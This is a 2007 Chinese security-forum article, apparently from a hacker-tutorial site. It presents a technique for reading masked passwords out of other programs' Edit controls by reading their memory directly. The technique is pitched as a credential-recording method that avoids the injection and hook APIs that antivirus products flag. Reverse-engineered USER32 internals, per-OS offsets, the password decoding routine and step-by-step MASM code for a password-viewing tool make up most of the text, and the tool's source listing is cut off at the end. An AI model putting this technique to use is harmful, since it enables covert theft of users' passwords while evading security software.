首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

Edit控件密码窗口的秘密--一种全新的通用密码记录技术


http://www.gipsky.com/
Author: czy

Date: 2007-08-09 (pub)

http://www.ph4nt0m.org



*目前的各类密码记录技术*



目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:

一:调用CreateRemoteThread函数远程DLL或代码注入.

二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)

三:伪造登陆界面.

四:登录信息在网络传输过程中被嗅探.

五:分析目标程序流层,文件补丁技术(注一).

六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.



由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.



*两大主流密码记录技术的局限性*



对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).

对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.

难道就没有通用性相对较好,记录正确率高,不轻易被杀毒软件查杀的技术了吗?请看下文.



*目前的思路*



对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.

(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)



*新的思路*



在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?

也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory

或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess

不代写内存的参数一般杀毒软件不会提示(注三).



*读哪儿?*



解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中

的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分

(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)



第一部分:

GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)



:77D184D0 8BFF mov edi, edi

:77D184D2 55 push ebp

:77D184D3 8BEC mov ebp, esp

:77D184D5 51 push ecx

:77D184D6 53 push ebx

:77D184D7 56 push esi

:77D184D8 57 push edi

:77D184D9 8855FC mov byte ptr [ebp-04], dl

:77D184DC 8BF9 mov edi, ecx ;edi中为密码窗口句柄

:77D184DE 33F6 xor esi, esi

:77D184E0 64A118000000 mov eax, dword ptr fs:[00000018] ;得到当前线程的TEB

:77D184E6 8B0D6000D777 mov ecx, dword ptr [77D70060]

:77D184EC 8D98CC060000 lea ebx, dword ptr [eax 000006CC] ;当前线程TEB的基地址 6CCH放入EBX中

:77D184F2 8BC7 mov eax, edi

:77D184F4 25FFFF0000 and eax, 0000FFFF ;eax中为密码窗口句柄的低16位

:77D184F9 3B4108 cmp eax, dword ptr [ecx 08]

:77D184FC 734D jnb 77D1854B

:77D184FE 8B0D8400D777 mov ecx, dword ptr [77D70084] ;77D70084是USER32.DLL中的一个全局变量的地址,重要!

:77D18504 8D0440 lea eax, dword ptr [eax 2*eax]

:77D18507 8D0C81 lea ecx, dword ptr [ecx 4*eax] ;ecx为(密码窗口句柄低16位x12) 一个未知全局变量

--------------------------无关代码省略之-------------

:77D1852F 8B31 mov esi, dword ptr [ecx] ;ecx的值没变,取里面的值给esi

:77D18531 0F8471A40100 je 77D329A8

:77D18537 3B30 cmp esi, dword ptr [eax]

:77D18539 0F8269A40100 jb 77D329A8

:77D1853F 3B7004 cmp esi, dword ptr [eax 04]

:77D18542 0F8360A40100 jnb 77D329A8

:77D18548 2B731C sub esi, dword ptr [ebx 1C]

;刚才的值-RealClientID,EBX 1C接合上面的代码看就是当前线程TEB的基地址 6CCH 1CH,取得的值也就是当前线程的RealClientID



第二部分

经过一些跳转后会调用EditWndProc,其中的要害代码如下:



Exported fn(): EditWndProc - Ord:00C1h ;函数入口

:77D2C538 8BFF mov edi, edi

:77D2C53A 55 push ebp

:77D2C53B 8BEC mov ebp, esp

:77D2C53D 83EC1C sub esp, 0000001C

:77D2C540 8B550C mov edx, dword ptr [ebp 0C] ;假如EDX为0Dh说明是取得窗口的内容

:77D2C543 53 push ebx

:77D2C544 56 push esi

:77D2C545 57 push edi

:77D2C546 8B7D08 mov edi, dword ptr [ebp 08]

:77D2C549 8B07 mov eax, dword ptr [edi]

:77D2C54B 8BB7A4000000 mov esi, dword ptr [edi 000000A4] ;这儿的EDI和前面代码最后的ESI是同一个值,重要!

:77D2C551 33C9 xor ecx, ecx ;计算后ESI就是一个指向窗口内容结构的指针

:77D2C553 8945F4 mov dword ptr [ebp-0C], eax

:77D2C556 41 inc ecx

---------------------无关代码省略之---------------

:77D2C5B9 51 push ecx

:77D2C5BA FF7514 push [ebp 14]

:77D2C5BD FF7510 push [ebp 10]

:77D2C5C0 56 push esi

:77D2C5C1 E88E040000 call 77D2CA54 ;得到窗口内容



第三部分:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77D2C665(C)

|

:77D41496 837E0C00 cmp dword ptr [esi 0C], 00000000

:77D4149A 7427 je 77D414C3

:77D4149C 668B466A mov ax, word ptr [esi 6A]

:77D414A0 660FAF460C imul ax, word ptr [esi 0C] ;esi和上面的一样指向窗口结构,ESI 0C是取得密码长度

:77D414A5 668945FA mov word ptr [ebp-06], ax

:77D414A9 668945F8 mov word ptr [ebp-08], ax

:77D414AD 8D45F8 lea eax, dword ptr [ebp-08]

:77D414B0 50 push eax

:77D414B1 33C0 xor eax, eax

:77D414B3 8A86EC000000 mov al, byte ptr [esi 000000EC] ;ESI EC解码密码的变量,总是一个字节

:77D414B9 897DFC mov dword ptr [ebp-04], edi

:77D414BC 50 push eax



* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h

|

:77D414BD FF154410D177 Call dword ptr [77D11044] ;对该函数分析可知,esi 00存放编码后的密码的地址



*分析GetWindowTextA后的总结*



分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:

1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.

我们的进程可不可以获得这三个参数呢?

对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId

对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄

对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,

它里面的值简单的说就是一些指向窗体信息结构的指针.



*获得GUI TABLE在R3成层的映射基地址*



我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要

调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处

:77D21020 8DB5A0FAFFFF lea esi, dword ptr [ebp FFFFFAA0]

:77D21026 BF8000D777 mov edi, 77D70080 ;注重不是77D70084

:77D2102B F3 repz

:77D2102C A5 movsd



会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!

分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:

:77D535F5 B88000D777 mov eax, 77D70080

:77D535FA 5D pop ebp

:77D535FB C20800 ret 0008

到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)



*把密码算出来*



第一步:

取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex

第二步:

得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase

第三步:GuiTableBase HwndIndex,然后取里面的值得到PHwndStruct1

第四步:

TEB基地址 6cch 1ch,取里面的值,得到RealClientID

第五步:

PHwndStruct1-RealClientID得到PHwndStruct2

第六步:

PHwndStruct2 A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct

第七步:

PRealWinStruct 00h里面的值是编码后的密码的地址

PRealWinStruct 0ch里面值是密码长度我们叫PASSLEN

PRealWinStruct ech里面值是解码要用到的一个变量我们叫ENCODE.

第八步:

解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:

MOV EDX,ENCODE

mov cl,dl

mov edi,PASSLEN

@@nextpass:

CMP EDI,1

JBE @@firstpass

mov eax,esi ;esi指向编码后的密码的第一个字节.

add eax,edi

mov dl,[eax-2]

xor dl,[eax-1]

xor dl,cl ;重要

mov [eax-1],dl

dec edi

jmp @@nextpass

@@firstpass:

or cl,43h

mov edx,offset buffer1

xor [edx],cl

注重通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是 98h

2003是 a0h,第七步,2000和2003都是 0CH,XP是 14H或 0ch



*具体编码*



为了证实思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.

下面把要害实现代码分析一下:



第一步:得到密码密窗口句柄:



invoke GetCursorPos,addr @stPoint ;得到当前光标位置

invoke WindowFromPoint,@stPoint.x,@stPoint.y ;得到光标下窗口的句柄

mov @hWindow,eax

.if eax != NULL

invoke GetWindowLong,@hWindow,GWL_STYLE ;得到窗口风格

.if (eax & ES_PASSWORD) ;是密码框吗?

invoke GetClassName,@hWindow,offset classname,64 ;假如是得到控件类名

invoke lstrcmpi,offset classname,offset editname

.if eax == 0 ;假如类名是Edit,那么调用ViewPass函数读密码

mov eax,@hWindow

mov WINHAND,eax

invoke ViewPass

.endif



.endif

.endif



第二步:判定系统:

LOCAL verinfo:OSVERSIONINFO



mov verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO

invoke GetVersionEx,addr verinfo

.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)

mov eax,1 ;xp

mov passoffset,0A4H

mov lenoffset ,14H



程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试

同一种系统偏移没有变化,所以通用性应该很好.



第三步:得到密码窗口的线程和进程ID

invoke GetWindowThreadProcessId,eBx,addr parid

MOV WINTHREADID,EAX ;返回值为线程ID

第一个参数为窗口句柄,第二个参数为得到进程ID



第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址



invoke GetUser32Base,parid

返回值就是基地址:)



GetUser32Base proc uses ebx esi edi remoteproid

LOCAL hSnapshot:dword

LOCAL modinfo:MODULEENTRY32

LOCAL modname[256]:byte



mov modinfo.dwSize,sizeof MODULEENTRY32

invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块

mov hSnapshot,eax

invoke Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录

.while eax ;相应模块加载的基地址

lea ecx,modinfo.szModule

invoke lstrcmpi,offset user32dll,ecx ;比较模块名是否为user32.dll

.if eax == 0

mov eax,modinfo.modBaseAddr

ret

.endif

invoke Module32Next,hSnapshot,addr modinfo

.endw

invoke CloseHandle,hSnapshot



ret

GetUser32Base endp



第五步:

根据窗口所在的线程得到该线程的TEB地址

invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID

..if eax != NULL

mov THREADHAND,EAX

invoke LoadLibrary,offset Ntdll

invoke GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API

mov apiquerthread,eax

push 0

push sizeof THREAD_BASIC_INFORMATION

lea ecx,threadinfo

push ecx

push ThreadBasicInformation

push THREADHAND

call apiquerthread

.IF EAX == STATUS_SUCCESS

lea ecx,threadinfo

mov esi,[ecx 4] ;得到TEB了,通常为7FFDX000

.ELSE

invoke MessageBox,0,offset errgetteb,offset vp,1

ret

.ENDIF

.else

invoke MessageBox,0,offset erropenthread,offset vp,1

ret

.endif



第六步:得到TEB中的RealClientID,注重这儿是读目标程序的内存,不是自已的了..

add esi,6cch ;看第五步,ESI中为目标线程的TEB基地址,假如是程序自已获得自已的TEB

add esi,1ch ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.

invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL

;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取

.if eax == TRUE ;为真说明读成功

mov eax,offset buffer1

mov eax,[eax]

mov edi,eax

.if eax ==NULL

invoke MessageBox,0,offset errnorealcid,offset vp,1

ret

.endif

.endif



第七步:得到目标进程R3层的GUI TABLE基地址



这一步应该是这个程序最要害的部分,希望大家认真阅读.先介绍一下我的思路:

我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers

函数的返回值就是这个全局变量的地址.

首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造非凡是

在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.

通过对不同系统的这个函数反汇编我们可以很轻易的找到共同点:

2K系统:(5.0.2195.7032)

:77E3565D B880D2E477 mov eax, 77E4D280

:77E35662 C20800 ret 0008



XP系统:(5.1.2600.2180)

:77D535F5 B88000D777 mov eax, 77D70080

:77D535FA 5D pop ebp

:77D535FB C20800 ret 0008



2003系统:(5.2.3790.1830)

:77E514D9 B8C024E777 mov eax, 77E724C0

:77E514DE C9 leave

:77E514DF C2080000 ret 0008



分析共同点以后,我们就可以写出相应的算法.我的算法是:

1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)

2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.

3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)

4.在这1000个字节中,我使用了LDE32库的汇编指令长度判定函数(注四).给出指令的首地址可以准确的计算出指令的长度.

这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)

在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8

(也就是mov eax,xxxxxxxx指令)

5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址

6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress) USER32.DLL的加载基地址).

7.用第5步找到的varaddr-(user32base VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,

假如这个值>0,同时小于.data段的VirtualSize那么说明成功.假如不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.

8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址) VirtualAddress VarOffset我们就得到了目标

进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.



(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统

不同版本的测试,目前的这个算法都还是通用)



第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注重的是密码可能是Unicode格式的.



*最后的总结*



所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.



注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转

跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.



注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码

最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.

使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.



注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.



注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..

该库文件编译后只有600多个字节.



注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判定同一时间下每个按键的当前状态.

该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.



附:

1.看星号程序源代码

2.一个简单的密码框程序

3.测试系统的USER32.DLL



内存读取获得密码(原创)

; #--------------------------------------# #

; # PassView # #

; # # #

; # #

; # 2007.1.1 #

; # codz: czy # #

; #------------------------------------------# #



;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR



.386

.model flat, stdcall

option casemap :none ; case sensitive



;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; Include 数据

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\user32.inc

include \masm32\include\gdi32.inc



includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\user32.lib

includelib \masm32\lib\gdi32.lib



CLIENT_ID STRUCT ; sizeof = 8

UniqueProcess HANDLE ?

UniqueThread HANDLE ?

CLIENT_ID ENDS



THREAD_BASIC_INFORMATION STRUCT ; sizeof = 1ch

ExitStatus DWORD ?

TebBaseAddress PVOID ? ; PTEB

ClientId CLIENT_ID [最后修改由 , 于 2007-08-13 19:19:00]
<< 解决Debian下宽屏显示问题 Debian下RPM包安装 >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号